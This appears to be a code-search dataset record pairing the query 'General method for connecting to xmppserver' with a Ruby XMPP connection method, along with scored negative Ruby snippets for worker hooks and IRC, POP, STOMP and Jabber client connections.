"def _init_worker\n INotify::Notifier.new.tap do |worker|\n _directories_path.each { |path| worker.watch(path, *EVENTS, &_worker_callback) }\n end\n end",
"def load!\n # 1. set up handlers for SIGINT, SIGTERM and SIGQUIT\n setup_signals\n\n # 2. updates its own identification as the Master process\n setup_name(\"Master\")\n\n # 3. Creates workers, as declared on initialization\n prefork.times do |n|\n create_worker(n+1)\n end\n\n # 4. Master loop: waits for dead children, and recreates them, updating\n # the +workers+ data structure which maps worker identifiers to\n # process IDs.\n loop do\n pid = Process.wait\n create_worker(workers.delete(pid))\n end\n end",
"def loaded()\n end",
"def init_worker\n FSEvent.new.tap do |worker|\n worker.watch(@directories.dup, :latency => @latency) do |changes|\n next if @paused\n @mutex.synchronize do\n changes.each { |path| @changed_dirs << path.sub(LAST_SEPARATOR_REGEX, '') }\n end\n end\n end\n end",
"def post_init\n JR::JobLogger.log(\"#{@node.name} ready to work\")\n end",
"def bootstrap!\n Sidekiq.redis do |conn|\n digest = conn.script(LOAD, @source)\n\n # XXX: this may happen **ONLY** if script digesting will be\n # changed in redis, which is not likely gonna happen.\n unless @digest == digest\n if @logger\n @logger.warn \"Unexpected script SHA1 digest: \" \\\n \"#{digest.inspect} (expected: #{@digest.inspect})\"\n end\n\n @digest = digest.freeze\n end\n end\n end",
"def dwp_make_available\n @dwp_runner.make_worker_available(self)\n dwp_run_callback 'on_available'\n dwp_log{ \"Available\" }\n end",
"def on_load\n clear_output\n end",
"def load\n @thread.wakeup\n end",
"def after_initialize\n end",
"def silence_single_worker_warning; end",
"def init_worker\n @worker = INotify::Notifier.new\n @worker.watch(@directory, *EVENTS.map(&:to_sym)) do |event|\n next if @paused\n \n unless event.name == \"\" # Event on root directory\n @changed_dirs << File.dirname(event.absolute_name)\n end\n end\n end",
"def after_initialize\n @loaded = Set.new\n end",
"def post_init\n end",
"def start\n raise \"start() Not Implemented on worker #{self.class.name}\"\n end",
"def starting_work(worker, work_unit)\n end",
"def _init_worker\n KQueue::Queue.new.tap do |queue|\n _directories_path.each do |path|\n Find.find(path) { |file_path| _watch_file(file_path, queue) }\n end\n end\n end",
"def handle_loading\n check_watched_files\n reload! if !loaded? && load_cooldown_expired?\n end",
"def post_init\n end",
"def will_start_up\n end",
"def on_start\n end",
"def post_initialize\n end",
"def initialize_offline_queue\n @offline_handler.init if @options[:offline_queueing]\n end",
"def worker_pool; end",
"def worker_pool; end",
"def begin_load\n load_stack.push(true)\n end",
"def after_initialize\n end",
"def after_initialize\n end",
"def ready(worker)\n if @work_queue.empty?\n @workers.insert(0, worker) unless @workers.include?(worker)\n else\n job = @work_queue.pop()\n @add_thread.wakeup() unless @add_thread.nil?\n ask_worker(worker, job)\n end\n end",
"def ready\n super\n fiber.resume self if fiber\n end",
"def onStart\r\n end",
"def preload=(_); end",
"def preload=(_); end",
"def on_load\n\t\t#\n\t\t# Setup constants\n\t\t#\n\t\tbase.default_send_options = {\n\t\t\t:delay => DelayTime\t\t\t# minimum delay between sends\n\t\t}\n\tend",
"def after_initialize\n end",
"def pre_initialize\n end",
"def notify_reloading\n notify(\"RELOADING=1\")\n end",
"def initialize\n @working = true\n end",
"def pre_task\n end",
"def initialize\n super\n @update_to_call = []\n Scheduler.start(:on_init, self.class)\n end",
"def on_init; end",
"def on_init; end",
"def on_initialize\n end",
"def nuixWorkerItemCallbackInit\nend",
"def setup_dispatch_thread!\n super\n end",
"def setup_dispatch_thread!\n super\n end",
"def _run\n super.tap { reenqueue }\n end",
"def flush_when_ready\n # make super()-safe so we can make liberal use of mixins\n end",
"def post_init \n self.class.add_signal_traps\n setup_dataflow\n end",
"def in_new_thread; end",
"def reserve_and_run_one_job; end",
"def setup\n logger.info 'setup workers'\n\n setup_refresh_timer\n setup_analyze_timer\n end",
"def awake\n\t\tend",
"def setup_jobs\n JobLoader.call\n end",
"def post_initialize\n # raise NotImplementedError\n end",
"def before_players_ready\r\n end",
"def after_initialize; end",
"def after_initialize; end",
"def after_initialize; end",
"def after_initialize; end",
"def before_run; end",
"def after_initialize \n end",
"def worker_initial_config\n # send blast_cmd to workers\n {:blast_cmd=>@@blast_cmd}\n end",
"def reload\n @new_info = {}\n read_data\n # run_callbacks_for(:after_load)\n self\n end",
"def after_initialized\n end",
"def running; end",
"def running; end",
"def start_worker\n raise NotImplementedError, \"#{self.class} cannot respond to: #{__method__}\"\n end",
"def on_load(&block)\n @on_load ||= block\n end",
"def perform\n raise RuntimeError, \"Worker Implementations should override this\"\n end",
"def initialise_process\n self.state = \"Initiated\"\n self.save!\n self.init_process\n end",
"def start\n super\n end"
] |
[
"0.73301125",
"0.69821256",
"0.6937131",
"0.69204175",
"0.68393767",
"0.6770436",
"0.67000234",
"0.66387206",
"0.64745826",
"0.64380574",
"0.63842744",
"0.6331857",
"0.63178164",
"0.63178164",
"0.62865925",
"0.6264595",
"0.62359416",
"0.62359416",
"0.6231937",
"0.62260705",
"0.6208552",
"0.6199364",
"0.61301196",
"0.60918623",
"0.6089904",
"0.6089904",
"0.60630935",
"0.6059964",
"0.6059964",
"0.6049028",
"0.6039074",
"0.5964662",
"0.59612125",
"0.59595555",
"0.59496886",
"0.59412396",
"0.5935643",
"0.59089255",
"0.5908036",
"0.59054816",
"0.5889024",
"0.58847857",
"0.5879767",
"0.5871958",
"0.5866714",
"0.5865709",
"0.5854925",
"0.5826329",
"0.581989",
"0.58043396",
"0.5798486",
"0.5780044",
"0.5779819",
"0.5779819",
"0.57720137",
"0.57701266",
"0.57701266",
"0.57688856",
"0.576806",
"0.57671744",
"0.5757086",
"0.5757086",
"0.57476854",
"0.5720232",
"0.5714284",
"0.57066196",
"0.57041144",
"0.569603",
"0.5683052",
"0.5676241",
"0.5676241",
"0.567486",
"0.5673244",
"0.5672322",
"0.5672322",
"0.5654159",
"0.5651455",
"0.56444",
"0.56369627",
"0.56246173",
"0.56237173",
"0.56139714",
"0.56001407",
"0.5597375",
"0.5589533",
"0.55864346",
"0.55864346",
"0.55864346",
"0.55864346",
"0.55802447",
"0.5573489",
"0.557168",
"0.55705106",
"0.55670047",
"0.55642736",
"0.55642736",
"0.5560504",
"0.55571544",
"0.5554694",
"0.55408525",
"0.5540079"
] |
0.0
|
-1
|
General method for connecting to xmppserver
|
def connect(client_info)
begin
client = nil
puts "XMPP Connecting to jabber server " + client_info[:host] + ":" + client_info[:port].to_s
puts "XMPP Account " + client_info[:id]
client.close if client != nil
#full_id = "#{client_info[:id]}@#{client_info[:host]}"
jid = Jabber::JID::new(client_info[:id])
client = Jabber::Client::new(jid)
rescue Exception => e
puts e.to_s
end
connected = false
while not connected
begin
Timeout::timeout(10) do
client.connect(client_info[:host], client_info[:port])
client.auth(client_info[:psword])
client.send(Jabber::Presence.new.set_type(:available))
connected = true
end
rescue => e
puts "XMPP Exception in connecting: " + e + "\n"
client.close
end
end
puts "XMPP Connected"
return client
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize(jid, host, port, timeout)\n # Create connection to specific server\n @connection = Xmpp2s::Connection.new(jid, host, port, timeout)\n end",
"def connect\n client.connect(config.host, config.port)\n client.auth(config.password)\n client.send(Jabber::Presence.new.set_type(:available))\n\n self.roster = Jabber::Roster::Helper.new(client)\n roster.wait_for_roster\n\n self.rooms = self.config.rooms.collect do |room_name|\n Robut::Room.new(self, room_name).tap {|r| r.join }\n end\n\n if self.config.enable_private_messaging\n Robut::PM.new(self, rooms)\n end\n\n trap_signals\n self\n end",
"def connect\n\t\tp 'JabberClient.connect'\n\t\ttrue\n\tend",
"def connect\n debug \"setting up.. jid #{base.config[:account_jid]}\" \n cl = Jabber::Client.new(Jabber::JID::new(base.config[:account_jid]))\n @client = cl\n begin\n debug \"connect\"\n cl.connect \n debug \"auth\"\n cl.auth base.config[:account_password]\n # XXX should catch only proper exception types (including Jabber::ClientAuthenticationFailure)\n rescue Exception => ex \n debug \"EX: #{ex.class} \"\n debug ex.backtrace\n @base.auth_failure \n end\n \n @roster = Jabber::Roster::Helper.new cl \n @roster.add_presence_callback do |item,oldpres,pres|\n pres = Jabber::Presence.new unless pres\n oldpres = Jabber::Presence.new unless oldpres \n status = pres.status.to_s\n presence = pres.show || :available\n jid = item.jid\n # XXX unavaliable\n presence = :unavailable if pres.status.to_s == 'unavailable'\n debug \"item #{jid} chaged presence to #{presence} status #{status}\"\n base.item_presence_change(jid.to_s,presence,status)\n end\n \n @base.roster_items = get_roster_items\n\n @client.send Jabber::Presence.new\n \n set_presence\n\n cl.add_message_callback do |m|\n if m.type != :error\n debug \"message received from #{m.from} type #{m.type}\"\n @base.message_received(m.from.to_s,m.body)\n end\n end\n end",
"def connect\n @comm.connect(opts.user, opts.password, opts.server)\n end",
"def connect\n\t\t# create a jabber client connection\n\t\t@jabberclient.connect( JABBER_SERVER, JABBER_PORT );\n\t\t@jabberclient.auth(JABBER_PASSWD)\n\n\t\t@jabberclient.send(Jabber::Presence.new(:chat, 'Birdbox is waiting since ' + Time.now.to_s))\n\n\t\t@jabberchatroom = Jabber::MUC::MUCClient.new(@jabberclient)\n\t\t@jabberchatroom.join(Jabber::JID::new( JABBER_CHATROOM + '/' + @jabberclient.jid.node))\n\n\t\t# create a new message object which will be used later on\n\t\t@jabbermsg = Jabber::Message.new( JABBER_TO );\n\t\t@jabbermsg.type = :chat\n\t\t@jabberReconnect = false\n\t\t@jabberRetryMessage = ''\n\tend",
"def connect\n if @debug\n Jabber::debug = @debug\n @log.info \"Jabber debug mode is active\"\n end\n\n begin\n @log.info \"Connecting to '#{@username}'...\"\n @client.connect\n\n @log.info \"Authenticating...\"\n @client.auth(@password)\n\n @client.send(Presence.new.set_type(:available))\n @roster = Roster::Helper.new(@client)\n\n @log.info \"Connected with user '#{@username}'\"\n rescue\n @log.error \"Error connecting to '#{@username}': #{$!}\"\n end\n end",
"def connect\n @socket = TCPSocket.new(@domain, @port)\n @parser = Jabber::Protocol.Parser.new(socket, self)\n\n register_parsing_thread\n register_polling_thread\n\n @status = CONNECTED\n end",
"def start_xmpp_interface\n if @client\n @client.add_message_callback { |message|\n unless message.type == :error\n puts message.from.to_s + \": \\\"\"+message.body.strip+\"\\\"\"\n action = take_cmd(@xmpp_cmds, message.body.strip, message.from)\n output = action.call.to_s\n res = Message.new(message.from, output)\n res.type = message.type\n @client.send(res)\n end\n }\n @client.add_iq_callback(0,'puts') { |iq| iq_dispatch(iq) }\n result = \" > listening for commands from xmpp\"\n else\n result = \" > not yet connected, please connect first\"\n end\n end",
"def connect(*) end",
"def initialize(params)\n super()\n @jid = params[\"jid\"]\n @password = params[\"password\"]\n @host = params[\"host\"]\n @port = params[\"port\"]\n @stanza_callback = params[:on_stanza]\n @connection_callback = params[:on_connection]\n @parser = XmppParser.new(&method(:receive_stanza))\n end",
"def connect\n\tend",
"def connect!\n end",
"def connect!; end",
"def connect!; end",
"def connect; end",
"def connect\n return true if @status == :connected\n connection_options = {\n host: @host,\n port: @port,\n user: @user,\n password: @password,\n path: @path,\n use_ssl: @use_ssl,\n }\n @server = ::XMLRPC::Client.new3(connection_options)\n @status = :connected\n end",
"def connect\n end",
"def connect \n log \"Connecting\"\n @socket = TCPSocket.new(config[:server], 6667)\n write \"USER #{config[:nick]} #{config[:nick]} #{config[:nick]} :#{config[:nick]}\"\n write \"NICK #{config[:nick]}\"\n write \"JOIN ##{config[:channel]}\"\n end",
"def spawn_connection\n connect\n end",
"def connect_to_server\n @service.connect(connect_settings)\n end",
"def configure_jabber!( options )\n unless @connection = options.delete(:connection)\n self.class.jabber_id = options.delete(:jabber_id)\n self.class.password = options.delete(:password)\n self.class.resource = options.delete(:resource) || 'ruote'\n self.class.contacts = options.delete(:contacts) || []\n end\n end",
"def connect(username, password, server)\n jid = \"#{username}@#{server}\"\n client.setup(jid, password)\n client.run\n end",
"def connect(host = nil, port = 5222)\n super(host.nil? ? jid.domain : host, port)\n send(\"<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' to='#{@jid.domain}'>\") { |b| \n # TODO sanity check : is b a stream ? get version, etc.\n true\n }\n self\n end",
"def connect\n # We open a new socket connection to the server @server on port @port\n @socket = TCPSocket.open(@server, @port)\n\n # We send an IRC message that's sets the bot's nickname to @name\n irc_send(\"NICK #{@name}\")\n\n # We send an IRC message that's sets users usename and real name to @name\n irc_send(\"USER #{@name} 0 * :#{@name}\")\nend",
"def connect(host = nil, port = 5222)\n if host.nil?\n begin\n srv = []\n Resolv::DNS.open { |dns|\n # If ruby version is too old and SRV is unknown, this will raise a NameError\n # which is caught below\n Jabber::debuglog(\"RESOLVING:\\n_xmpp-client._tcp.#{@jid.domain} (SRV)\")\n srv = dns.getresources(\"_xmpp-client._tcp.#{@jid.domain}\", Resolv::DNS::Resource::IN::SRV)\n }\n # Sort SRV records: lowest priority first, highest weight first\n srv.sort! { |a,b| (a.priority != b.priority) ? (a.priority <=> b.priority) : (b.weight <=> a.weight) }\n\n srv.each { |record|\n begin\n connect(record.target.to_s, record.port)\n # Success\n return self\n rescue SocketError, Errno::ECONNREFUSED\n # Try next SRV record\n end\n }\n rescue NameError\n Jabber::debuglog \"Resolv::DNS does not support SRV records. Please upgrade to ruby-1.8.3 or later!\"\n end\n # Fallback to normal connect method\n end\n\n super(host.nil? ? jid.domain : host, port)\n self\n end",
"def establish_connection\n @connection = Net::POP3.new(@server, @port)\n @connection.enable_ssl(OpenSSL::SSL::VERIFY_NONE) if @ssl\n @connection.start(@username, @password)\n end",
"def connect\n connection.connect\n nil\n end",
"def connect\n @socket = OpenSSL::SSL::SSLSocket.new(TCPSocket.new(@host, @port), OpenSSL::SSL::SSLContext.new)\n @socket.sync_close = true\n\n begin\n @socket.connect\n rescue Exception => e\n STDOUT.puts \"Error: #{e}\"\n exit(1)\n end\n\n # Modify socket's singleton class to include the Chat::Sendable module.\n class << @socket\n include Chat::Sendable\n include Chat::Receivable\n end\n\n # Ask the user for a username (\"displayName\")\n STDOUT.print \"Enter your display name (no spaces): \"\n display_name = STDIN.gets\n if display_name.nil?\n exit(1)\n end\n\n # Clean display_name and ensure that it has no spaces.\n display_name.chomp!\n unless display_name =~ /^\\S+$/\n puts \"Invalid display name.\"\n exit(1)\n end\n\n @socket.send Greeting.build(VERSION, display_name)\n\n # Await the response.\n loop do\n begin\n response = @socket.receive\n rescue Exception => e\n STDERR.puts \"Error: #{e.message}\"\n exit(1)\n end\n\n case response\n when :EOF\n STDERR.puts \"Connection lost.\"\n exit(1)\n when :SKIP\n # Malformed packet. Ignore it and keep listening.\n next\n when AcceptGreeting\n STDOUT.puts \"Connected to server!\"\n STDOUT.puts help\n break\n when DeclineGreeting\n STDERR.puts \"Server rejected connection. Reason: #{response[:reason]}\"\n exit(1)\n else\n STDOUT.puts \"Received unrecognized message. Ignoring.\"\n end\n end\n end",
"def setup(options)\n @nick = options['nick'] if options['nick']\n @server = options['server'] if options['server']\n @port = options['port'].to_i if options['port']\n connect\n end",
"def connect(settings)\n myJID = JID.new(settings[:jid])\n myPassword = settings[:password]\n cl = Client.new(myJID)\n cl.connect\n cl.auth(myPassword)\n cl.send(Presence.new.set_status('I am GossBot'))\n out \"Connected as: #{myJID.strip.to_s}.\"\n return cl\nend",
"def connect\n @notification_server = EM.connect 'messenger.hotmail.com', 1863, Msn::NotificationServer, self\n end",
"def connect(options = {})\n raise MiqException::MiqHostError, \"No credentials defined\" if missing_credentials?(options[:auth_type])\n\n auth_token = authentication_token(options[:auth_type])\n username = options[:user] || authentication_userid(options[:auth_type])\n password = options[:pass] || authentication_password(options[:auth_type])\n host = options[:host] || address\n port = options[:port] || self.port\n self.class.raw_connect(username, password, host, port).login\n end",
"def connect!(options={})\n execute_on_servers(options) { }\n end",
"def connect\n @connection_manager.connect\n end",
"def connect\n @connection.open\n end",
"def connect_server(server)\n run_script('connect', server)\n end",
"def initialize(host = 'localhost', port = 4444, options = {})\n @host, @port, @async = host, port, options[:async]\n connect\n end",
"def connect\n smtp = Net::SMTP.new(host_name || ip_address)\n smtp.start(@config[:helo_name] || \"localhost\")\n smtp.finish\n true\n rescue Net::SMTPFatalError => e\n set_error(:server_not_available, e.to_s)\n rescue SocketError => e\n set_error(:server_not_available, e.to_s)\n ensure\n if smtp&.started?\n smtp.finish\n end\n end",
"def alternative_config!\n JabberAdmin.configure do |conf|\n conf.username = 'admin@jabber.local'\n conf.password = 'defaultpw'\n conf.url = 'http://jabber.local/api'\n end\nend",
"def create(args = nil)\n # Connects to the xmpp-client that is used for sending xmpp-messages\n @send_client = connect(@@send_client_info)\n \n # Connect to xmpp-client that is used for receiving messages that are then turn into http-requests\n @receive_client = connect(@@receive_client_info)\n runMessageReceiver\n \n # Ensures that xmpp-server has node: home/host/<host>/<node_account>/contexts\n XmppHelper::createContextGeneralNode\n\n end",
"def connect()\n\t\t\t# Check queen(s) for peer list\n\n\t\t\t# Connect to peers\n\t\tend",
"def connect\n # backwards compatible code\n @host ||= ::Ragnar::Config.host\n @port ||= ::Ragnar::Config.port\n @connection = ::AMQP.connect({:host => @host, :port => @port})\n end",
"def connect\n\t\t@client.start\n\n\t\t# Set up our input and output exchange/queue\n\t\t@output = @client.exchange( @playername, :passive => false )\n\t\t@queue = @client.queue\n\n\t\t@exchange = @client.exchange( @playername, :passive => false )\n\t\t@queue = @client.queue( \"#{@playername}_output\", :exclusive => true )\n\n\t\tlogin_exchange = @client.exchange( 'login', :type => :direct, :auto_delete => true )\n\n\t\t# Set up the queue to handle incoming connections\n\t\tself.log.debug \" setting up the connections queue...\"\n\t\t@connect_queue = @playersbus.queue( 'connections', :exclusive => true )\n\t\t@connect_queue.bind( @login_exch, :key => :character_name )\n\t\t@connect_queue.subscribe(\n\t\t\t:header => true,\n\t\t\t:consumer_tag => 'engine',\n\t\t\t:exclusive => true,\n\t\t\t:no_ack => false,\n\t\t\t&self.method(:handle_connect_event)\n\t\t )\n\tend",
"def connect\n @logger.request \"Connecting to Asterisk Manager (\" + @host + \":\" + @port + \")\"\n\n begin\n # Try to open a socket\n @socket = TCPSocket.new @host, @port\n\n # Parse the initial connection message. This message is sent right after a socket connection is established, and consists \n # of one line of the format: Asterisk Call Manager/1.1 \n @connected = (@socket.gets.gsub(\"\\r\\n\", \"\") == RESPONSE_CONNECTION)\n @logger.response(\"Success: Connection Established\") if @connected\n @logger.fatal(\"Error: Connection response did not match expected: \" + RESPONSE_CONNECTION) if !@connected\n rescue Exception => e\n @logger.fatal \"Error: Connection error occurred: \" + e.message\n @connected = false\n end\n end",
"def Connect\n begin\n if @host[0,1]=='/'\n sock = UNIXSocket.new(@host)\n else\n sock = TCPSocket.new(@host, @port)\n end\n rescue => err\n @error = \"connection to #{@host}:#{@port} failed (error=#{err})\"\n raise SphinxConnectError, @error\n end\n \n v = sock.recv(4).unpack('N*').first\n if v < 1\n sock.close\n @error = \"expected searchd protocol version 1+, got version '#{v}'\"\n raise SphinxConnectError, @error\n end\n \n sock.send([1].pack('N'), 0)\n sock\n end",
"def start\n self.connect\n self.login if @connected\n end",
"def initialize(xmpp, jid, **session)\n return unless @@config\n @logger = Logger.new(STDOUT, level: @@config[:loglevel], progname: 'TelegramClient: %s | %s' % [jid, session[:login]] )\n @resource = @@config[:tdlib][:client][:device_model] || 'zhabogram'\n @xmpp = xmpp\n @jid = jid\n @session = session\n @resources = Set.new\n @cache = {chats: {nil => []}, users: {}, status: {}}\n self.connect() if @session[:keeponline] == 'true'\n end",
"def connect(*args)\n raise NotImplementedError\n end",
"def connect\n require 'osc-ruby' unless defined?(::OSC)\n port = additional_params[:port] || 3333\n @client = OSC::Server.new(port)\n super\n end",
"def connect()\n @sock = TCPSocket.open(@server, @port)\n end",
"def connect!\n request! :connect\n end",
"def connect\n # Implement in subclass\n end",
"def connect_to_server\n @socket = TCPSocket.open(@serverip, @serverport)\n end",
"def connect()\n @s = @s || TCPsocket.open(@host, @port)\n end",
"def connect_to_server\n fail \"connect_server called without remote established\" if @remote.nil?\n host, port = @remote\n LOGGER.info \"Establishing new connection with #{host}:#{port}\"\n @server_side = ServerConnection.request(host, port, self)\n @server_side.pending_connect_timeout = @connect_timeout\n @server_side.comm_inactivity_timeout = @inactivity_timeout\n end",
"def establish_connection\n end",
"def connect_login(global = true, verbose = true)\n\t\tircsock = connect(global, verbose)\n\n\t\tres = send_nick(user, ircsock)\n\t\t\n raw_send(\"USER blah blah blah :blah blah\")\n send_user(\"\n sleep 2\n raw_send(\"JOIN #{datastore['CHANNEL']}\")\n\t\t\n\t\treturn true\n\tend\n\n\t#\n\t# This method logs in as the supplied nick by transmitting the IRC\n\t# 'NICK <user>' command.\n\t#\n\tdef send_nick(user, nsock = self.sock)\n\t\traw_send_recv(\"NICK #{user}\", nsock)\n\tend\n\n\t#\n\t# This method sends one command with zero or more parameters\n\t#\n\tdef send_cmd(args, recv = true, nsock = self.sock)\n\t\tcmd = args.join(\" \") + \"\\n\"\n\t\tif (recv)\n\t\t\treturn raw_send_recv(cmd, nsock)\n\t\telse\n\t\t\treturn raw_send(cmd, nsock)\n\t\tend\n\tend",
"def connect_login(global = true)\n pop2sock = connect(global)\n\n\n if !(user and pass)\n print_status(\"No username and password were supplied, unable to login\")\n return false\n end\n\n print_status(\"Authenticating as #{user} with password #{pass}...\")\n res = raw_send_recv(\"HELO #{user} #{pass}\\r\\n\")\n\n if (res !~ /messages/)\n print_status(\"Authentication failed\")\n return false\n end\n\n print_status(\"Messages: #{res}\")\n return true\n end",
"def connect\n start_listener!\n end",
"def starttls\n @stream.send \"<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\"\n end",
"def connect!\n com::unboundid::ldap::sdk::LDAPConnection.new(\n self.host, self.port, self.bind_dn, self.password) \n end",
"def initialize(_config = nil)\n self.config = _config || self.class.config\n\n self.client = Jabber::Client.new(self.config.jid)\n self.store = self.config.store || Robut::Storage::HashStore # default to in-memory store only\n self.config.rooms ||= Array(self.config.room) # legacy support?\n self.config.enable_private_messaging = true if self.config.enable_private_messaging.nil?\n self.config.port ||= 5222\n\n if self.config.logger\n Jabber.logger = self.config.logger\n Jabber.debug = true\n end\n end",
"def connect\r\n \t# Login\r\n #jid = JID::new(\"pmontrasio@gmail.com\", \"talk.google.com\", \"arduino\")\r\n\tjid = JID.new(\"kit@tinkerkit.com/Testing\")\r\n #password = \"arduinopwd\"\r\n\tpassword = \"1234567890\"\r\n @cl = Client.new(jid)\r\n @cl.connect\r\n @cl.auth(password)\r\n\t@queue = Array.new\r\n\t@cl.add_message_callback { |msg|\r\n\t @mutex.synchronize do\r\n\t\t@queue << msg\r\n\t end\r\n\t}\r\n\treturn true\r\n rescue ClientAuthenticationFailure => e\r\n return false\r\n end",
"def connection\n @connection.connect\n end",
"def configure_connection\n end",
"def connect(host=\"localhost\", port=2230)\n output_stream.puts \"sending request for a new game...\"\n EventMachine::run {\n EventMachine::connect host, port, GameBroker, &method(:setup_handler)\n }\n end",
"def connect\n Connection.new\n end",
"def connect\n if @connection\n Log.debug(\"Already connection, not re-initializing connection\")\n return\n end\n\n begin\n host = nil\n port = nil\n user = nil\n password = nil\n @base64 = get_bool_option(\"stomp.base64\", false)\n @msgpriority = get_option(\"stomp.priority\", 0).to_i\n\n # Maintain backward compat for older stomps\n unless @config.pluginconf.include?(\"stomp.pool.size\")\n host = get_env_or_option(\"STOMP_SERVER\", \"stomp.host\")\n port = get_env_or_option(\"STOMP_PORT\", \"stomp.port\", 6163).to_i\n user = get_env_or_option(\"STOMP_USER\", \"stomp.user\")\n password = get_env_or_option(\"STOMP_PASSWORD\", \"stomp.password\")\n\n Log.debug(\"Connecting to #{host}:#{port}\")\n @connection = ::Stomp::Connection.new(user, password, host, port, true)\n else\n pools = @config.pluginconf[\"stomp.pool.size\"].to_i\n hosts = []\n\n 1.upto(pools) do |poolnum|\n host = {}\n\n host[:host] = get_option(\"stomp.pool.host#{poolnum}\")\n host[:port] = get_option(\"stomp.pool.port#{poolnum}\", 6163).to_i\n host[:login] = get_env_or_option(\"STOMP_USER\", \"stomp.pool.user#{poolnum}\")\n host[:passcode] = get_env_or_option(\"STOMP_PASSWORD\", \"stomp.pool.password#{poolnum}\")\n host[:ssl] = get_bool_option(\"stomp.pool.ssl#{poolnum}\", false)\n\n Log.debug(\"Adding #{host[:host]}:#{host[:port]} to the connection pool\")\n hosts << host\n end\n\n raise \"No hosts found for the STOMP connection pool\" if hosts.size == 0\n\n connection = {:hosts => hosts}\n\n # Various STOMP gem options, defaults here matches defaults for 1.1.6 the meaning of\n # these can be guessed, the documentation isn't clear\n connection[:initial_reconnect_delay] = get_option(\"stomp.pool.initial_reconnect_delay\", 0.01).to_f\n connection[:max_reconnect_delay] = get_option(\"stomp.pool.max_reconnect_delay\", 30.0).to_f\n connection[:use_exponential_back_off] = get_bool_option(\"stomp.pool.use_exponential_back_off\", true)\n connection[:back_off_multiplier] = get_bool_option(\"stomp.pool.back_off_multiplier\", 2).to_i\n connection[:max_reconnect_attempts] = get_option(\"stomp.pool.max_reconnect_attempts\", 0)\n connection[:randomize] = get_bool_option(\"stomp.pool.randomize\", false)\n connection[:backup] = get_bool_option(\"stomp.pool.backup\", false)\n connection[:timeout] = get_option(\"stomp.pool.timeout\", -1).to_i\n\n @connection = ::Stomp::Connection.new(connection)\n end\n rescue Exception => e\n raise(\"Could not connect to Stomp Server: #{e}\")\n end\n end",
"def connect\n begin\n @mSocket = Net::Telnet::new(\"Host\" => @mHostname,\"Port\" => @mPort)\n print(\"addr| \", @mSocket.addr.join(\":\"), \"\\n\")\n print(\"peer| \", @mSocket.peeraddr.join(\":\"), \"\\n\")\n @mSocket.puts \"USER rubybot 0 * Testing\"\n @mSocket.puts \"NICK #{@mNick}\"\n @mSocket.puts \"JOIN #{@mChannel}\"\n @mSocket.puts \"PRIVMSG NickServ identify ruby-bot\"\n\n # Status of -1 is active / connected\n # I know, this doesn't make much sense\n @mStatus = -1\n\n # print the silly message for the lolz\n rubicante_message \n rescue SocketError\n storeDebug(\"can't connect\")\n end\n end",
"def connect(username, password)\n @username, @password = username, password\n\n @read_thread = self.class.start_read_thread(helper, @socket.getInputStream)\n @write_thread = self.class.start_write_thread(helper, @socket.getOutputStream)\n @write_thread.send_cmd CMD00_ConnectRequest.new\n end",
"def xmpp_nodes\n @xmpp_nodes ||= {}\n end",
"def initialize(host, port = 389, login_dn, base_dn, password)\n @host = host\n @port = port\n @login_dn = login_dn\n @base_dn = base_dn\n @password = password\n\n return connect\n end",
"def connect_ssl; end",
"def connect\n raise NotImplementedError, \"#connect should be overriden by adapters\"\n end",
"def connect(socket_class, host, port, nodelay = T.unsafe(nil)); end",
"def connect(username, password, options = {})\n server = options[:server] || Helpers::AuthHelper.read_server\n @server = RestClient::Resource.new server, DEFAULT_LOGIN_PAYLOAD\n\n super\n end",
"def initialize(params = {})\n @connected = false\n @jid = params[\"jid\"]\n @password = params[\"password\"]\n @host = params[\"host\"]\n @port = params[\"port\"]\n @handler = params[\"handler\"]\n @buffer = \"\" \n end",
"def configure_connection\n end",
"def setup\n # return if client && client.setup?\n client.register_handler(:ready) do\n puts \"Connected!\"\n ROSTER << [client.roster.items.keys, Opt.groups].flatten.uniq\n ROSTER.flatten!\n ROSTER.select { |j| j =~ /\\@conference\\./ }.each do |c|\n presence = Blather::Stanza::Presence.new\n presence.to = \"#{c}/#{Opt.hostname}\"\n client.write presence\n end\n\n fetch_pubs\n end\n\n client.register_handler :subscription, :request? do |s|\n if ROSTER.include?(s.from.stripped.to_s)\n puts \"[REQUEST] Approve #{s}\"\n client.write s.approve!\n else\n puts \"[REQUEST] Refuse #{s}\"\n client.write s.refuse!\n end\n end\n\n # client.register_handler :message, :chat?, :body => 'exit' do |m|\n # client.write Blather::Stanza::Message.new(m.from, 'Exiting...')\n # client.close\n # end\n #client.register_handler :roster, [],\n #client.register_handler :message, :error?, :body do |m|\n #client.register_handler :message, :headline?, :body do |m|\n #client.register_handler :message, :normal?, :body do |m|\n client.register_handler :pubsub_affiliations, :affiliations do |m|\n puts \"[PUB] => #{m.inspect}\"\n m.each do |af|\n puts \"[PUB ITEM] => #{af.inspect}\"\n PUBSUB[:pubs] = af[1].map { |p| p.gsub(/\\//, '') }\n end\n end\n\n client.register_handler :pubsub_subscriptions, :subscriptions do |m|\n puts \"[SUB] => #{m.inspect}\"\n m.each do |af|\n puts \"[SUB ITEM] => #{af.inspect}\"\n PUBSUB[:subs] = af[1].map { |p| p[:node].gsub(/\\//, '') }\n end\n end\n\n client.register_handler :pubsub_event, :items do |m|\n puts \"[PUBSUB EV] => #{m.inspect}\"\n alert_peers \"PubSub: #{m.node} #{process_items(m.items)}\"\n end\n\n client.register_handler :pubsub_items, :items do |m|\n puts \"[PUBSUB ITEMS] => #{m.inspect}\"\n alert_peers \"PubSub: #{m.node} #{process_items(m.items)}\"\n end\n\n client.register_handler :disco_items do |r|\n puts \"[ITEM] => #{r}\"\n # Pub.delete_all\n # PubItem.delete_all\n for item in r.items\n puts \"[IT] => #{item.name} on #{item.node.class}\"\n # next if item.name =~ /^home$/\n if item.node =~ /\\//\n puts \"[PUBSUB] => #{item.name} on #{item.node}\"\n alert_peers item.name\n else\n if item.jid.to_s =~ /conference\\./\n puts \"[GROUP] => #{item.name} on #{item.node}\"\n else\n puts \"[USER] => #{item.jid} name #{item.name}\"\n end\n end\n end\n end\n\n client.register_handler :message, :groupchat? do |m|\n if m.body =~ Regexp.new(Opt.hostname)\n body = m.body.split(\":\")[-1].strip\n else\n body = m.body\n end\n if m.body =~ /^!|^>|^\\\\|#{Opt.hostname}/ && m.to_s !~ /x.*:delay/ #delay.nil?\n puts \"[GROUP] => #{m.inspect}\"\n for msg in process_message(m.from.stripped, body, :groupchat)\n client.write 